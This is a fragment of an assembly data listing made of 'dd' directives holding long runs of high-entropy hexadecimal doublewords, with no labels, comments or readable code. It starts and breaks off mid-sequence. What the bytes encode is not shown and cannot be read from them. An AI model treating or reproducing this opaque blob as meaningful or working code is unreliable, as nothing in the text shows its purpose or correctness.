0DACC6A27h, 31745A52h, 0A3FBEBh, 17ACBE35h, 17517239h dd 7FC6E173h, 6C797E00h, 972119F5h, 0A9DC7C82h, 2AA8B09h dd 9D03D3Fh, 7A10B67Ch, 0A25BC458h, 0C14C545h, 0E90D05A3h dd 7B1D1D7Bh, 8792685Eh, 8B7F04A1h, 0DCCC9272h, 501F9656h dd 1000E0BAh, 0BCBE7E0Ah, 9AD6FC45h, 221220CEh, 890F5EB0h dd 6E67D56Fh, 0E76D3818h, 6A2317BDh, 0F12D170Ch, 0B3A73C5Eh dd 0FAFC1AF2h, 6ADC1119h, 354BE28h, 0E69C5D88h, 0D4B375C2h dd 6E2630Dh, 0EAC7750Ah, 10FD379h, 8EF0AF7h, 7025A12Bh dd 3FE177h, 0BA5255DEh, 0AB261F94h, 0C1180D2Ch, 38F7347Ah dd 0E98B42D2h, 97C6F561h, 20D50D20h, 0A13BDEF7h, 0F96D3E23h dd 680AB7BEh, 0B142C945h, 17962A83h, 3DAEDF8h, 32D0306Fh dd 0EAB0E081h, 0A11D5FB8h, 0D7BAE027h, 2CBD5395h, 0BDAE22F9h dd 133F9465h, 0CE41DB8Dh, 34E798F2h, 5AD485EAh, 0A367D749h dd 8E465E42h, 0F3FA4AA8h, 46D94BCEh, 68DDAC12h, 12875D23h dd 0E0D031F2h, 2840F60Ch, 87EF50C1h, 0F57D6014h, 59E6482Fh dd 851C83BEh, 426FC300h, 0FFDAE94Ah, 155136A7h, 0BD9F507h dd 370C5489h, 837E4B12h, 2F1CF16h, 0DFEDD82Fh, 1C41C290h dd 76B90342h, 0EE68E052h, 7C6A4F23h, 9E13E8D1h, 9D894E9Ch dd 0D02135B0h, 0E8C15A01h, 0C764E918h, 0F2C80A72h, 4FE82F0Dh dd 0B621C431h, 6638BC9Ch, 0A1282C8h, 0C381498Ch, 423A7BDBh dd 954876B6h, 9497FB21h, 0F74312A7h, 85A300DBh, 255B0D68h dd 4B06C60Eh, 4DAAA121h, 66956F59h, 482DB39Ah, 584BAB7Ah dd 0F5B2FE16h, 4F786910h, 0B8B532B8h, 0D29112E0h, 0C9816630h dd 0E5324C0Dh, 12488450h, 12751574h, 6A14A119h, 525B688Bh dd 94CAE213h, 81C4202Dh dd 0C26A12A8h, 6B55C0BAh, 0E9964B4Fh, 0AED9A5D6h, 6268CD50h dd 87645E92h, 5E2F1C9h, 4988CC81h, 0E93ED605h, 99E83B85h dd 391C1DB0h, 0C8296E0Eh, 5D86559h, 0CB2D0A07h, 1C13B923h dd 9256862Ah, 0ED4AAE3Dh, 589CB6B7h, 0A5096A2Eh, 0BF12D390h dd 0D4625D7Ch, 95CF5C2Dh, 68E1F782h, 2F4EDEAAh, 9022B766h dd 82A9B777h, 0CD0B4356h, 318B9A86h, 6608022Dh, 8D4CFF5Bh dd 0DF5E4D6Ah, 904D03D6h, 1BEA502Ch, 0FA294268h, 0DA40D990h dd 71EB7081h, 2A649040h, 0AC398CBBh, 5F5425BEh, 0F7E40F59h dd 0A4B9B252h, 1348F6C1h, 0E4928625h, 0D2B62762h, 0BF000331h dd 7DF398Ah, 36685507h, 13F32A6Fh, 2F71E1B3h, 5B5496A6h dd 0E1752FB1h, 5509B503h, 0C0444BBh, 3BB925F2h, 0FB43EC01h dd 7346A18h, 0E3D951E0h, 3BFA993Bh, 401AE188h, 0CCB929E5h dd 70170202h, 0C2FBE316h, 1C088CEEh, 827C5188h, 6C3B1882h dd 53C42B79h, 51F5EC27h, 3D8EA491h, 0F97BC0BEh, 0F5CCDD6Fh dd 1A02C795h, 515B792Dh, 29DE9Ah, 4B3CF7B9h, 1F4AE922h dd 0A2B866C0h, 2A2F0928h, 7E90C601h, 0D9DDB072h, 0D6F94E8Bh dd 8267B5B5h, 9D6EFB3h, 2A0532Dh, 152ACF2Dh, 357388E1h dd 0ED9B0428h, 161C88CAh, 66A4E12Ah, 0E6357B24h, 0B0D7B8Dh dd 0AD21BAC8h, 97ADD434h, 518E9F45h, 20AC7764h, 5A4E7F20h dd 377C61A3h, 0C057B455h, 0C11586CAh, 0D1A24B4Fh, 2B632D96h dd 6C964780h, 0E93140A3h, 0D9E87825h, 4A5C0EE9h, 0A424FFB3h dd 81013780h, 6A0E01EAh, 2A05BB63h, 7E4CED64h, 81387D4h dd 783E3D91h, 0D180E33Ah, 9FE90906h, 68BB5D31h, 3DDBADD9h dd 33E11F7Ch, 6FBC8BAh, 2BF92D38h, 0AB8327B7h, 0E4F2A2E6h dd 2C4EA44Dh, 75100030h, 472A64Ch, 118775Bh, 19ACC4F9h dd 0C0FA1C08h, 48B17FE2h, 36636861h, 9C4AD733h, 0E9145CEAh dd 256F6FCh, 2B8521E3h, 68914009h, 8D1D4B13h, 0C91132ABh dd 0F4ADDDCEh, 0A1EF6C7Ch, 0BA7901E7h, 52105700h, 2EBC148h dd 0CBF012C1h, 136EF814h, 9961FFB7h, 353C1684h, 572CC491h dd 77AA05AEh, 9EFCC2D3h, 5DF20955h, 9D20271Eh, 0CA09BD19h dd 5DF22A03h, 407D5082h, 12CA58DDh, 0E0019E4Fh, 0E7402F99h dd 5BDD3988h, 3716EBBDh, 85D1EC0Dh, 55D9D738h, 9D819D51h dd 65F174h, 570A4126h, 8359EABFh, 30E91515h, 0F2800BA4h dd 62277C67h, 0CA48F05Ch, 0B7CB783Fh, 0A4C0FC74h, 8E4A3851h dd 13E9130Bh, 2DADFD80h, 707A3916h, 0BF80F54Dh, 0F464FFDh dd 992F89Fh, 47056407h, 28009BB3h, 42F7815Fh, 0DF679616h dd 16A0120Ch, 2DB8C0FDh, 7A12436Eh, 13AF057Eh, 0EB6C2209h dd 418C5BF6h, 5CE2BF6Bh, 21A1D3CDh, 0E042F4F0h, 0E3801AC3h dd 8EBDC11Dh, 52278026h, 0FF52D2F9h, 0FC616727h, 43EEE627h dd 874BFD69h, 2CAA9D4Ch, 33E8449h, 0B35407F0h, 60E9843Ah dd 5F31FA88h, 11A7F74Eh, 142E9C83h, 93F6DB10h, 52ED034Eh dd 25D7DA88h, 10C6C150h, 95A805F2h, 51552579h, 41F0500h dd 1AC48956h, 0F0ADC7D3h, 770BFD06h, 0D3A83060h, 662C74B6h dd 29195652h, 0F23F5912h, 872483A8h, 7021C561h, 9B4C4ABDh dd 1DF25EE9h, 73464929h, 5585932h, 0E3602496h, 303A4A42h dd 0D498D601h, 60DFF0Bh, 3D8FBEE9h, 5C65A664h, 4DD82BA5h dd 1C5AB968h, 771095F3h, 0A64F7Ah, 63FB543Eh, 82F1772Fh dd 51712EB8h, 4A0045B6h, 584DAD40h, 5906A135h, 6863097Fh dd 0E98E5E56h, 4FB9D371h, 7993C4h, 146F381h, 2504901Bh dd 0A01CFBB0h, 0BCA292Bh, 0DA2FDCA6h, 0DF51B594h, 0AA353702h dd 0E47C601Fh, 18101D45h, 1A1CB429h, 14011C08h, 81C444E9h dd 0C6F5F68Fh, 0F13AB923h, 406807h, 0E6293825h, 78EC2D7Ah dd 21F42DD8h, 674BD950h, 15E6C20h, 0B65A5FD3h, 9DCF84BAh dd 0A5F55909h, 21AC6BC4h, 0E9ACE158h, 0A9FEBA30h, 2D200AF5h dd 59545322h, 5013D62Ch, 40DED0A8h, 6D40626Ch, 0A66427E9h dd 5FF25C38h, 93C51813h, 0E7C93186h, 9F3E204Eh, 75DC4482h dd 89D41916h, 2C22ECC7h, 27BF0FFBh, 0C1038232h, 0C0807FE7h dd 640F634Fh, 4DBE5602h, 0DE368D47h, 3662410h, 6FCE2191h dd 0FC892A00h, 0FD094A96h, 0F0E9275Fh, 0C988D6DCh, 0F8D62871h dd 745B941h, 3006EFC0h, 0D7F602E7h, 8C686601h, 0D47CE909h dd 9251A26Eh, 5F874241h, 52783870h, 13FFED4Bh, 0D749E5E9h dd 0A536595Bh, 0F1E80FF1h, 8347F413h, 0F633E0E6h, 61C6B13Fh dd 5599886Bh, 0A47CCF9Dh, 0D7334584h, 82C594A4h, 0C001E508h dd 0F9FD03E6h, 0A6F8137Fh, 0C12F7686h, 6674B002h, 85E950F7h dd 2D33759Bh, 4164D6E0h, 0B3CD544Eh, 0C3E5B16Ch, 961052F9h dd 0D15E884Dh, 0C8CB06h, 13559568h, 0C35F74C6h, 0E999D139h dd 3150D3B3h, 68125A90h, 30FA1358h, 432CB94Bh, 0F739F200h dd 7E1C1D9h, 2A852D68h, 3FA17018h, 8134B001h, 96599AE2h dd 0F3073460h, 300526BEh, 5319ED68h, 8C04FB2Dh, 491D017Dh dd 6E2970AFh, 0B3E139F7h, 25C99D08h, 0F38A7558h, 52481380h dd 812DBB95h, 88D2852Dh, 2B27E90Fh, 0C43A0B2h, 2F307671h dd 42D3015Bh, 35D8F700h, 60593BC2h, 41E84E46h, 1765398h dd 8A1E9F0h, 0A97D3058h, 4BC7AA6Bh, 25D6D191h, 85B75300h dd 511C50F8h, 0CC9FF988h, 0C1F3B4F8h, 4B2C2383h, 0CB1FB8E3h dd 39A27521h, 6801D8A1h, 8C2B7E33h, 361835ADh, 0EDA2549Fh dd 73263075h, 5D5C710Ch, 17E6640h, 9F874FCh, 304B59CBh dd 0B1FB3DAh, 0EBCF1BEDh, 85C23C03h, 60FC940Ch, 2517E7ADh dd 0D1F60825h, 948308A0h, 542DC0FCh, 13120E7Ah, 0B5C1ACE9h dd 0F120CFFEh, 9DF79005h, 0E9E1D8E0h, 0C6CD9227h, 153520F6h dd 10545848h, 834FF1DFh, 0A3C957A1h, 814700FEh, 3A952FCFh dd 0D2F71BE1h, 0E98D63E0h, 0E52A6A27h, 0BF2A3E39h, 595404EEh dd 8D67E168h, 4AFAE056h, 36725B33h, 0DE1BD8E2h, 9CE0C123h dd 0F07C4D31h, 0D805E8F2h, 7AE9A60Ch, 0CDBDE490h, 4F9A3D71h dd 4FCA2E13h, 0BC00558h, 122D0335h, 4BF85D17h, 3E9DD214h dd 0DC3EB8B7h, 0F1AF4040h, 0F0271409h, 6F198405h, 0BFFE8804h dd 4FA9665h, 0D185E9E4h, 6BA12C8Ah, 3FBCEE74h, 6075F548h dd 68528B79h, 989570DDh, 3F1F7B3Eh, 0C1833DB3h, 0E68102EEh dd 812744B9h, 0BBE4C6FEh, 0E768F5DBh, 3199E983h, 24576939h dd 76106B55h, 3415F26h, 204002BAh, 0CD554C50h, 0A7462B2Dh dd 27F30DE3h, 250C3C05h, 210F7513h, 24DDCA56h, 55448B60h dd 0F233983Ch, 216002A6h, 0D1F75971h, 6A49ED41h, 5AA43714h dd 90D7FEF9h, 4DBF5788h, 10F2632Ch, 227BCF01h, 5060369Dh dd 8D7D16C7h, 46E1640h, 12F547AAh, 9471EFEh, 0EFD68CA7h dd 964E2B85h, 24B390BAh, 5A173F26h, 0F7FCD721h, 0A77C810Fh dd 98E5017Dh, 6B12A401h, 4038D0A0h, 0BB2653DAh, 57049345h dd 1AFE3C1h, 0E474B934h, 3FD22B5Eh, 39B4006h, 4B780053h dd 17793548h, 314F42F9h, 0E3E01497h, 16294FC8h, 5D32E9D9h dd 0A6D8FEFAh, 0B93F748h, 98D117E3h, 7C8808h, 8007EBC0h dd 0DAB8D8F3h, 5A28F140h, 0ACD184C2h, 36DC422h, 2F1A9DEFh dd 0FCE730D3h, 895E5D0Bh, 349AC0AFh, 4217286Ah, 2CE609F0h dd 0E3EA6B05h, 0B35F0804h, 0D8E9099Bh, 0A03374DBh, 82BDFEEDh dd 0B93F8475h, 0F92DF4A1h, 0FB44AEE5h, 96F30302h, 0DE203C20h dd 0BD5EDD73h, 574A32CFh dd 0A0A3BC58h, 265881FAh, 9ECFA09Ch, 720E7D2h, 7B567273h dd 1FD4B38h, 8BDF0169h, 92B62E1Ch, 2E0C6882h, 88451875h dd 755273D4h, 792490E2h, 873C3158h, 8EBDE949h, 4D5366B5h dd 0A03E0DBBh, 2F400E69h, 2845945Bh, 3B860B0Ch, 9CD25777h dd 81CC0883h, 683DAD5Bh, 67DAC005h, 30E97B79h, 0C3DBE2B4h dd 192720EEh, 3F8AFCBCh, 0B4FE7612h, 26F001ABh, 0EC22994Eh dd 22305568h, 6295DCE9h, 6065599Dh, 7E30FDE7h, 33A21850h dd 0D42AFE0Eh, 0EEE89F29h, 0B9F1F54Bh, 88FA317Ah, 0C2BB051Bh dd 99C832E0h, 0BBA99615h, 682C20D6h, 3DF16A04h, 5C01875Ah dd 2B6C97E9h, 3BE71C42h, 0ED6575B6h, 0C390E904h, 0C9D86AB8h dd 362D6858h, 8B5D530Bh, 3E47E387h, 0BE65173Fh, 2C4669D0h dd 94ECE7A3h, 0E0209521h, 6D5D4462h, 0B663532h, 5472E101h dd 0C3012B3Dh, 6D969F1h, 7E0EA75Eh, 0F2E98501h, 0C930ECAAh dd 5EE77026h, 0EC51245Dh, 0A013E263h, 8030B784h, 0E6974F7h dd 0E045BFEh, 0D0E9C442h, 5F29B5C8h, 4595247Dh, 0D231090Bh dd 973E8738h, 68CC10BDh, 0CD405FC0h, 53ABED77h, 8CF9D8D1h dd 92B66A5Eh, 0B60FBC25h, 1DD4B4CFh, 4EB07D84h, 0D81DE9CFh dd 0FC8AB09Fh, 0F2B54A53h, 273D1346h, 7796CCA4h, 7504857h dd 6E0C2A04h, 61959174h, 5F592391h, 8F04C512h, 97ACA0B2h dd 2FD030E1h, 9CA5DDC8h, 51BD01ADh, 310ABA55h, 0F8F420ECh dd 7FC43A02h, 0D5B4E3E9h, 98273DE7h, 959BE915h, 8CD6F609h dd 9D27CB28h, 58424647h, 0DC203C03h, 0FE8F0997h, 94A0F2FFh dd 0C0F5E580h, 6C007E6h, 61B05004h, 0EE799028h, 98E8E005h dd 55D4A4BEh, 816BAC84h, 7E3BA15h, 8912CA42h, 0FB8784DFh dd 8B01BF12h, 7B3AB7D4h, 8087B643h, 9829224Ch, 6C3D2DCFh dd 0A2C47854h, 138F6788h, 110DA96Fh, 0BE02B724h, 7A194D54h dd 8B2A8D83h, 0F231E7F8h, 224AE916h, 5B9CC692h, 0E8A044D4h dd 0A5535B4Ah, 858BC010h, 6B82EB29h, 40209FEh, 7BD36A93h dd 422DDCA4h, 9326516Eh, 0C4FCE950h, 0D5BC72D8h, 2D1E33D0h dd 74AE39F9h, 0CC4225D4h, 7D5A057Eh, 0F9683240h, 73956295h dd 0DE7CA5F2h, 0B135E759h, 8394E16Bh, 0C41B301Ch, 0F690B744h dd 0F9326C42h, 3E0EB7D4h, 0EA007C69h, 57557052h, 8AD0F229h dd 0E5E3008h, 0CB392E9Bh, 174C45Eh, 0DAC4DC27h, 0A4824E7Fh dd 0A65D201Ah, 0C5295A13h, 18EE6900h, 6C143A5h, 75E905E8h dd 424C4E11h, 601D0083h, 0CE815746h, 0DB332F9Fh, 39DADA80h dd 83FD13E7h, 9227CC1Ah, 9FD20B11h, 3C02C578h, 8ED1C7BBh dd 716300A5h, 321FD278h, 0F770E9C1h, 895D8BC8h, 0B55CD54Ch dd 0BC684BFh, 7F427360h, 9A59F33Ah, 1BD2D81h, 107A3948h dd 0E90B07BFh, 0BCF4F9B1h, 0BAC3819Ch, 22D2A60h, 8BDC711h dd 0B9761D72h, 0FC8ADA25h, 0B2355821h, 56D9810h, 8ADE840Fh dd 2826BDBDh, 6CD12F40h, 0E5F17EC5h, 0FBAE030h, 4EFC112Fh dd 0C9161FF7h, 1C57AD34h, 0A3F99D9Fh, 0DDACD809h, 0D99FA59Ch dd 0FB0109FCh, 0A0998884h, 0C2E05817h, 7F768072h, 8B4DC8F8h dd 0C2AD25D5h, 72377401h, 0F476CF8Bh, 134348C9h, 0BF5720E9h dd 7ACC5C61h, 0D200936h, 67F0CCAh, 910C28C5h, 54783D0Ah dd 6602CB50h, 0FE599310h, 0C2010BCFh, 67F2DF00h, 0D95A9050h dd 9196C5FDh, 7B5F68BAh, 0ADDA35D7h, 79DEC5EFh, 0E93D37E3h dd 0B65BDE4Dh, 155B3EB6h, 8FC8065Ah, 35AB536Eh, 202CEB71h dd 11EE20E9h, 1EED5C4Fh, 90D529CBh, 811608FAh, 2BB6D95Eh dd 0DEEEE6D0h, 50B13D03h, 6E632FCCh, 0E392F488h, 0EBA2407Fh dd 0AD204A81h, 7ED74E6Bh, 950E500Bh, 0E990C9F2h, 28B12E17h dd 2F50008h, 4C9268ACh, 99B3E198h, 0E4BDD8E0h, 5B660114h dd 8608EAC0h, 3E0461DAh, 2057EC47h, 0E7E8F084h, 0D3F0E84Bh dd 0CCF825A1h, 7F12B50Fh, 2D4716F5h, 32E601DFh, 0C52568E8h dd 0E5ACEB44h, 0AA0BE652h, 41779AF8h, 9250CDE3h, 27C0E0B5h dd 61F008EDh, 0C1E5F8CEh, 0C4B35358h, 99DA9143h, 0BF7193CBh dd 5E259E38h, 0D8D314E2h, 5D0DAD42h, 0BF055EC6h, 53DD5149h dd 0CB307DB1h, 715ABCBDh, 57B23A88h, 0F78353CFh, 0FEA35251h dd 415AF1B1h, 7981A6ECh, 5E87D2FBh, 45BF537h, 97BF95C8h dd 4238903Dh, 37F63334h, 5175C96h, 1253FBD3h, 0E41D1F52h dd 0E5F0E736h, 0E9F2115Fh, 564E8F4Ch, 5CAA041h, 0F3341D03h dd 1F8AE92Bh, 0C90EBBAFh, 0B95C4056h, 0DCB0783Bh, 2DB13120h dd 0C522F668h, 0E109A472h, 137AF554h, 0F456FA96h, 269CA82Dh dd 876C85DDh, 0E2EF1601h, 148604CBh, 90EA0CC6h, 2D6C3102h dd 15AC4E4Ch, 16847AE9h, 0FC09575Bh, 0F5BF496Ah, 0B5AAED70h dd 21AC8DF1h, 0CBAD0812h, 64020189h, 0D856A8D7h, 0EBEFF083h dd 96CEEA11h, 1048B6E6h, 5C2D2794h, 0A86885EAh, 3D4CD08h dd 0F471BBh, 2C0FEEB9h, 0CD09124Ch, 7A0ECB59h, 0AB219741h dd 40696F30h, 0DE03F68Dh, 0EEC0C6FEh, 1880FF03h, 3A284004h dd 5A012CF0h, 0E953C330h, 16956F87h, 0BF4201BFh, 81554E44h dd 0EE3BDFD2h, 0B7D84148h, 4BF99BBBh, 0C069AF5Dh, 2348F7EFh dd 60295935h, 26E90840h, 0AF887201h, 0EF0D76F3h, 0F62B1865h dd 0B8814FCCh, 5B02C9B4h, 670305E1h, 5FA300DBh, 85E9297Dh dd 47BA946Ah, 79E99F56h, 9A733344h, 0F20660FBh, 0DE34F00Bh dd 6F068C0Bh, 93E550C0h, 9FAD73C5h, 885EE2F8h, 0AF05AC00h dd 5F50E27Fh, 0F5A4275Dh, 0E13856CAh, 0E468822Ch, 5E5DBF16h dd 0D8CA8040h, 5342940Ah, 59DF6813h, 1E0B958Ch, 137FEC03h dd 4B84ECFBh, 87DF6E21h, 54AFE9ECh, 50EAF178h, 0B067F401h dd 4BFB9A06h, 5CA3B65Eh, 2A260A27h, 0E909CBA8h, 3155A247h dd 4D2957D8h, 0E1902A16h, 93B7F997h, 0A266A955h, 0EA53F95Dh dd 0C9CA3EACh, 7A0AE1A5h, 0D1B55D05h, 4584B00Fh, 41BB7E6Ch dd 604A2880h, 0CCB52F64h, 44810805h, 0F33E1FCCh, 0B594178Fh dd 5C85C3E8h, 7564AE21h, 0A9E6C3BBh, 0C3347375h, 0CCBB0A64h dd 0A1C5F053h, 0CBBAF801h, 3D814ADCh, 0D44D5C10h, 12277420h dd 0BC07D53Dh, 81451D80h, 3F4AB202h, 0BB43552Eh, 0D776DFCBh dd 0BCC45C09h, 4E82DF06h, 0B54052FDh, 298AEA09h, 6B4D74FFh dd 0CCDACD5h, 5E2017BAh, 0FE551343h, 9E12CF52h, 0F301E1D0h dd 0F81235E9h, 8886434Fh, 0D3FF1937h, 0E53B941Bh, 0D93D99C7h dd 982B5A0Eh, 6EBE09B0h, 5E942F95h, 0F692AFB2h, 0C1488582h dd 0C21741F9h, 0D679AA02h, 2C87F66Bh, 0D3A823B2h, 37F9820h dd 73F5E381h, 0F3B03663h, 43063305h, 207BE934h, 81DB7F75h dd 5BEE70BDh, 6C2F5DB0h, 0A020DB82h, 0F6818BAh, 0EEA83960h dd 40803A82h, 8293F9C8h, 0E1F014C1h, 53E7349Ah, 309BBEA0h dd 0F3FC5EB0h, 0AD135E5Bh, 0A23218EBh, 4B301218h, 96C40C26h dd 0A82E4A3Ah, 0E52A5F52h, 0EC16FB59h, 82D8348Ch, 0F520DDB1h dd 4B0C0580h, 0A54A8438h, 604C61FBh, 585EE29Ch, 2124BAE2h dd 6660275Bh, 2469EC50h, 8603D7B3h, 2613FC8Bh, 8BE4FE5Ch dd 8D635B36h, 0A03BE4A6h, 0BEEF8DCFh, 90C46909h, 97C38CAh dd 0A3685EDBh, 0BE4B985Fh, 0BA4C136Dh, 10D7AC66h, 0DE50066Eh dd 3E5E9C77h, 193D092h, 2C8F0C5Fh, 0FBA43BAEh, 99B16BE2h dd 955FC56Ah, 92AE2E13h, 4D148A53h, 71AF972Ah, 7ACC8708h dd 4FBF0353h, 808D547Ch, 0DB872A0Dh, 0EBD2F1E4h, 9227DD05h dd 4487155Eh, 19CEFD8h dd 423F6850h, 4226F32Ah, 0D8097A49h, 1AA397E9h, 6B2881F7h dd 0F1CF7F62h, 0D3649D26h, 927A98D0h, 0B2521F6Ch, 6624D67Ah dd 0BAC5D366h, 0DB45625Bh, 0E54F1CF7h, 0FA645751h, 9B39C391h dd 4002BA01h, 2D5AD74Ah, 0D601B972h, 71A80523h, 85313CFBh dd 94078FF2h, 0A25F2D11h, 7B8CFD09h, 7C78A569h, 4871CA1h dd 0CE0345BFh, 0BABB94F7h, 0EEF9C117h, 6CD4E9C2h, 2D64C57Fh dd 20BE56FBh, 0D5F7248Eh, 415EB19Ch, 5B3DBB70h, 5D2D6CA8h dd 9E83DAE6h, 585E00F4h, 2F7CA635h, 7AD93396h, 0F4120C4h dd 2BA77284h, 0E7055AC9h, 291092EAh, 90A469DEh, 85F6E9C1h dd 0D4CFBF24h, 0D03825Ah, 0B8502A3Dh, 37AC4188h, 50B5BBAh dd 0F29ED83Ah, 994B044h, 1BE13B7h, 8CE27188h, 630D8F7h dd 76F89B90h, 56254FBEh, 0FA449CA8h, 967C84D0h, 66550189h dd 0E877BABDh, 539FBEFBh, 0CA123D53h, 612E890Dh, 6BD34352h dd 0E3682802h, 0C834F914h, 1D6249E8h, 0F055CFF5h, 9367C8E8h dd 1AE71B48h, 5D347BF7h, 0FF20CCCFh, 0DC9915Fh, 0A8781288h dd 3C1010Bh, 107539ADh, 7B18739Dh, 902D5577h, 0E734F617h dd 218858D2h, 0DB4D1492h, 9257B176h, 0D997E45Ah, 9B5E6DFCh dd 9F107CF3h, 5E40488Ch, 5836ACFDh, 0F34BD69Fh, 0F2932AE3h dd 7EF9341h, 70B9513Eh, 0E96C7A0Dh, 5AF6149h, 0E2D1D2F7h dd 3E0314C0h, 0A8404F47h, 190296B7h, 584EE902h, 16CC9F6Eh dd 7486816h, 0E8C4ACACh, 83B909CAh, 4B72A5D4h, 4844FCDCh dd 6176153Dh, 0D047818h, 5D729717h, 96270BACh, 57D8CD68h dd 76DE9EA2h, 892E532Dh, 725984CCh, 0C56F44A5h, 0F04FE90Dh dd 0C59758B9h, 23E98B2Bh, 0B5F034A9h, 0D0ACCFDh, 8211C22Dh dd 86BDF359h, 9841D1FDh, 0F8C59AFDh, 117E1E81h, 4CB0930Eh dd 0FABE0108h, 17B3CE9Fh, 0E9386468h, 27E9820Fh, 0B694D7CAh dd 5C718C20h, 0AF0AD05Ah, 0EE7BA08h, 82CEA6F5h, 76DFF1D2h dd 39BD7B9Ah, 0B63F9AC7h, 6A715A4Dh, 0CE24A0E9h, 26CB0B81h dd 32748E18h, 0EE783207h, 2D55FC69h, 8A4A04F1h, 3D1B980Ch dd 0CCB106C6h, 0D955E5E7h, 0E2372C4Eh, 76B7D782h, 53F382B2h dd 92C07829h, 16165B0Ah, 0D1014963h, 0DB3FAEF8h, 5AE9F9FCh dd 0E1EBD71h, 8F1A4F68h, 0F206655Eh, 7F329AEh, 1CE97C8h dd 8E13D103h, 9B4C094h, 299B5C88h, 0DFDC27E6h, 69165F7Ah dd 0F50B144Bh, 427C795Ch, 0CCD7C168h, 0BF38278Fh, 4E9CC76h dd 31FF9C8Bh, 12063743h, 4EDD51FEh, 4F95EAC0h, 0CDF157Ah dd 149263DEh, 84117A9h, 0BF140CA0h, 0C6D8CB31h, 0C768FEE8h dd 1D8C6C4Ah, 30059FC9h, 7A11BDBBh, 7FE7D324h, 50A04FBAh dd 81B53ABCh, 3A04EF4Ch, 801B2967h, 38718001h, 8BF5E78h dd 0E909086Ah, 19AD858h, 0AF6386BEh, 30DEF71Fh, 5195D18Eh dd 1871661h, 494BF148h, 4AE90814h, 680002D6h, 0BDA762EAh dd 75937B49h, 387D6F82h, 86BA52E8h, 740435Ah, 0DF2312C1h dd 1FE1EC50h, 0A7DE2890h, 0DB804EFEh, 8973D879h, 0BAA7B8CBh dd 0FDEB4ADAh, 12E349C3h, 5727DC56h, 4CC03040h, 65C20905h dd 8F44D8Eh, 0A2CD0720h, 0A718D8Bh, 56B83682h, 0AF636786h dd 98BECB03h, 0D12B0F36h, 0D075A28Fh, 30D8B53Eh, 0C9BEEE31h dd 28862C88h, 2F0F0A8Ah, 16D0562Ah, 5FD00107h, 0DB1F6A64h dd 2E60E6C8h, 62181D6Eh, 0F20BE058h, 76DD02B9h, 0FB8943EEh dd 387FE0Bh, 6FD4232Eh, 128F61Dh, 0B3E92F82h, 0C23CD6D2h dd 977C5D54h, 685EF5C0h, 4669DC9h, 3E02E92Ch, 605BBA81h dd 0A130655Ch, 8F711D72h, 0E8CA8126h, 2E76A54Ch, 1EC28DA0h dd 4AD6CFEh, 0C8CC15E9h, 51F007BDh, 8DC81C5Ah, 0F27B5B3Eh dd 310605D3h, 52C752ECh, 5A0A07EAh, 9A03ED49h, 0DCAAB2C9h dd 0EB1464BEh, 0F5E82844h, 17C49BB8h, 9B56A48Dh, 65589Dh dd 5105E2C0h, 0B56CB753h, 0C0B79E70h, 811E52ABh, 0A8E32A5Ch dd 0FF38F73Ch, 7BF46DDEh, 268554Eh, 0F4408C71h, 0BBE7E45Ch dd 2D684328h, 0A5D11E9Ch, 10AB962h, 0C9C58851h, 99EFBEEBh dd 94A61B4h, 0CB413D71h, 5003A149h, 0E3839AF3h, 99DED0D2h dd 0EEC14601h, 622E5705h, 0C575F85Bh, 12521F34h, 56E681A2h dd 8D46DC53h, 0F1B513ACh, 1C554917h, 406097FCh, 37137168h dd 0DDB66C01h, 74B1A04Ah, 2A083648h, 0D997B1FCh, 8CA1C87Ah dd 0B8100502h, 0A4719909h, 4880DD77h, 3675CB9h, 2C544063h dd 6232E330h, 9DFB5AF6h, 57760B0Bh, 25F7FA9h, 6C5D081Ah dd 2C812DA9h, 94C8A144h, 0DC88095Bh, 0AC204F5Eh, 0B7E67820h dd 775E9D52h, 75C68092h, 0F42E46Ah, 0B15741D7h, 0FDBADC3Ah dd 0B598EF80h, 10F447CCh, 290A7E94h, 0EB11BDDDh, 6603C602h dd 2ED6BBF5h, 8C6EA22Dh, 1298558Dh, 0EFBA1A8Ah, 9E0BD35Eh dd 0C188A10Bh, 0B7E008EFh, 0A4ADB9EEh, 16A4003Ah, 0DF871327h dd 0EDCAE918h, 0B71B1B1h, 0FD890DE3h, 0F7FA5946h, 0DCF6722Fh dd 57E984D2h, 8720BF18h, 96C970E8h, 265766EEh, 0C3D4682Ah dd 715BE5EAh, 5D0B9ECFh, 0E17CE668h, 0DA691A89h, 381F0934h dd 9BFEE8C2h, 0EC043113h, 75AF051Ch, 0FCFC5769h, 136BD49Bh dd 0F1ADDBA6h, 0D344598Eh, 0C8374414h, 86CEFE00h, 0BEFDF6DEh dd 827A9708h, 203625ABh, 28864F6h, 5A4DEAFEh, 8D4A762Fh dd 58C15EA8h, 8851C268h, 0B921ECBh, 0E8845046h, 0BBCCBFE4h dd 254A7F51h, 1BDC2921h, 8782D1C7h, 31E987DAh, 40095A4Eh dd 3B7974AEh, 0F203360Ah, 51949DE3h, 4A9E845Ch, 0E9F0E4F8h dd 229C62C3h, 67893188h, 8072F357h, 28A9D15Ah, 7B65FFF5h dd 1CF4CBBAh, 9452E9F7h, 0E63EBCB1h, 300134D2h, 5CEEEEC5h dd 7D545F41h, 0E90C3BD7h, 0CDD75CAFh, 9B25540Eh, 0E3EDC03Bh dd 517D6DC5h, 4E80AA89h, 2917210h, 295D131h, 4903BB32h dd 0A9DC472Dh, 0FABDA9FEh, 0B5DA9560h, 9877E5C0h, 5FBE325Ch dd 128765C0h, 84755A0Bh, 0B585FF47h, 0DAA3480h, 0F6709738h dd 7523991Dh, 1C2076A5h, 80A734Dh, 3068A658h, 86C534E4h dd 0D33E1E68h, 89A252E9h, 93864311h, 0DEC2ACA4h, 0E2B13A5Ah dd 84E57FF3h, 4020A8A8h, 0D1BB09ADh, 3AA51470h, 0CE91805Bh dd 0BA982974h, 41A1F158h, 90E06E08h, 0BC299D7Fh, 499CF006h dd 0A3BBD3B7h, 867E27C0h, 0B3CFAF50h, 59670DB2h, 9E737210h dd 0EBA90C57h, 75FFE9A1h, 0E0B63E47h, 8756F925h, 0B97C5171h dd 0E45052C7h, 131DFAF8h, 0CB82E0E6h, 0DC02281Fh, 31072068h dd 0DF805F5Ah, 0ACB07F26h, 806A404Eh, 9B5E22Eh, 0A11C0712h dd 31FAF413h, 0A4BD327Dh, 0E0089111h, 37B400C1h, 8058E508h dd 88A2C50Ah, 0BA16B5EFh, 54516361h, 0DD5D0EECh, 21BE416h dd 63781023h, 33B11340h, 0E9055609h, 14C228Fh, 6844E1DAh dd 0F739033Bh, 0D6C141D9h, 0E61298Bh, 12922018h, 653061EFh dd 0C8393E9Bh, 0A12FA176h, 0D028C303h, 93C2CFB9h, 0E0004F0Eh dd 22DE4094h, 